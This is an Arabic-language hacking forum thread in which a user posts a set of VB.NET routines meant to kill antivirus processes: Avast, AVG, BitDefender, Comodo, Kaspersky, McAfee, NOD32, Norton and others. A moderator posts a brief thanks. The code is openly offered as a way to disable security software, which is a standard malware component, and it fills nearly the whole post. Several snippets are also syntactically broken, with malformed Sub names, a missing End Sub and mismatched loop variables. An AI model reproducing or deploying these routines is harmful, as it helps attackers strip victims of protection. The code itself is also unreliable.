1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : سيوفي المعموري | المشاهدات : 135 | الردود : 2
  1. سيوفي المعموري موقوف لمخالفة الشروط

    الأنتساب:
    ‏19 يونيو 2015
    المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    بسم الله الرحمن الرحيم




    اقدم لكم اكواد لقتل بعض الحمايات
    أمل ان تنال اعجابكم )4:"






    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Antia-squared
    ---------------------------------
    Sub Antia-squared()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "a2servic.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    AntiGen
    ---------------------------------
    Sub Anti AntiGen()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "antigen.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    Avast
    ---------------------------------

    Sub AntiAvast()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "ashWebSv.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next

    ---------------------------------
    AVG
    ---------------------------------
    Sub AntiAVG()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "avgemc.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    BitDefender 2
    ---------------------------------
    Dim bit As Process() = Process.GetProcesses
    Dim b As Integer
    For b = 0 To bit.Length - 1
    Debug.WriteLine(bit(b).ProcessName)
    If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
    bit(b).Kill()
    End If
    Next


    ---------------------------------
    BitDefender
    ---------------------------------

    Sub AntiBitDefender()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "bdagent"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    Comodo
    ---------------------------------

    Sub AntiComodo()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "cpf.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    Kaspersky
    ---------------------------------

    Sub AntiKaspersky()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "avp"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    McAfee​
    ---------------------------------

    Sub AntiMcAfee()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "mcagent" & "mcuimgr"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub


    ---------------------------------
    NOD32
    ---------------------------------

    Dim nod As Process() = Process.GetProcesses
    Dim n As Integer
    For o = 0 To nod.Length - 1
    Debug.WriteLine(nod(n).ProcessName)
    If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
    nod(n).Kill()
    End If
    Next


    ---------------------------------
    NOD32 (2)
    ---------------------------------

    Sub AntiNOD32()
    Dim KillTheProcess As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To KillTheProcess.Length - 1
    Select Case Strings.LCase(KillTheProcess(i).ProcessName)
    Case "egui"
    KillTheProcess(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ---------------------------------
    Norton
    ---------------------------------

    Sub Anti Norton()
    Dim ktp As Process() = Process.GetProcesses
    Dim i As Integer
    For i = 0 To ktp.Length - 1
    Select Case Strings.LCase(ktp(i).ProcessName)
    Case "ccapp.exe"
    ktp(i).Kill()
    Case Else
    End Select
    Next
    End Sub

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    انهتى


    اراكم في موضوع جديد )4:"​
     
  2. Mira Mrmr .::|| زهره منتدى عراق تيم ||::. مشرفات المنتدى

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    696
    الإعجابات المتلقاة:
    148
    نقاط الجائزة:
    105
    الجنس:
    أنثى
    الإقامة:
    Baghdad
    نظام التشغيل:
    windows 8.1
    Facebook:
    YouTube:
    رد: اكواد لقتل برامج الحماية

    [​IMG]عاشت ايدك وشكراالك على الموضوع[​IMG]
     
  3. سيوفي المعموري موقوف لمخالفة الشروط

    الأنتساب:
    ‏19 يونيو 2015
    المشاركات:
    56
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    30
    نظام التشغيل:
    windows 7
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: اكواد لقتل برامج الحماية

     

مشاركة هذه الصفحة